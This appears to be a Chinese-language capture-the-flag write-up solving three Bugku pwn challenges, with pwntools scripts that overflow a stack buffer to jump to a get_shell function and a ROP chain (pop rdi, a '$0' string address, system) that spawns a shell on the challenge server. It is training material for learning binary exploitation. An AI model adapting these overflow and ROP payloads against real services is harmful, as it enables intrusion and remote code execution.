pwn刷题writeup(后续更新)

bugku的pwn1:

在这里插入图片描述

这道题没啥说的,

直接在linu下执行语句:nc 114.116.54.89 10001,

再 ls  命令展示当下目录,

然后 cat flag 读取目标文件,
一般来说是flag这个文件有flag,但是也不排除其它的地方有flag。

在这里插入图片描述

Bugku的pwn2:

在这里插入图片描述
第一步先nc上去程序,然后观看程序的作用。
在这里插入图片描述
传文件进入linux,再然后file pwn2,checksec pwn2:
在这里插入图片描述
然后64位的ida打开程序,然后f12查看关键字,再f5反编译,找到system函数:在这里插入图片描述
开始gdb ./pwn2 程序,运行完后,找到getshell函数的位置:
在这里插入图片描述
get_shell函数的地址为 0x400751,先cyclic 100 个随机的字符
然后根据溢出报的错,发现了字符串是48+8个=56个,到的ret在这里插入图片描述
然后编写脚本:

from pwn import *
p = remote('114.116.54.89',10003)

length = 56
payload = 'a'*length + p64(0x400751) 
p.sendline(payload)
p.interactive()

然后运行脚本,得到flag:
在这里插入图片描述

bugku的pwn4:

1.首先和上面的第一步一样,先运行程序,记录下程序的功能:

在这里插入图片描述

然后file文件,发现文件是64位的,然后再checksec 文件,查找保护壳,发现没有保护。直接64ida打开,f5之后发现了read函数,说明了有溢出的可能。然后f12进行字符串的查找,

经过一番查找和尝试,萌新表示还是不太懂,于是寻找大佬的博客,才知道:
$0的用途	(这里一脸懵逼),结合之前找到的system()命令,还有binsh。
就可以开始准备写脚本。

在这里插入图片描述
这里得到system的地址:0x000000000040075A

在这里插入图片描述
这里稍微计算一下$0的位置,得到
0x0000000000601100+31=0x000000000060111F
(31是前面字符串的长度)

后面大佬的博客就有点难懂了:利用ROPgadget工具进行查找,得到pop rdi ; ret 的地址。
rdi:0x00000000004007d3

由于缓冲区是0x10,rbp是8个,则加起来,然后开始写脚本:

from pwn import *
context.log_level = 'debug'
conn = remote('114.116.54.89', 10004)
# conn = process('./pwn4')
pop_rdi = 0x00000000004007d3 
bin_sh = 0x000000000060111f
system = 0x000000000040075A
payload = 'A' * (0x10+8) + p64(pop_rdi) + p64(bin_sh) + p64(system)  
conn.recvuntil('Come on,try to pwn me')
conn.sendline(payload)
conn.interactive()

然后得到flag:
在这里插入图片描述


版权声明:本文为weixin_43342135原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。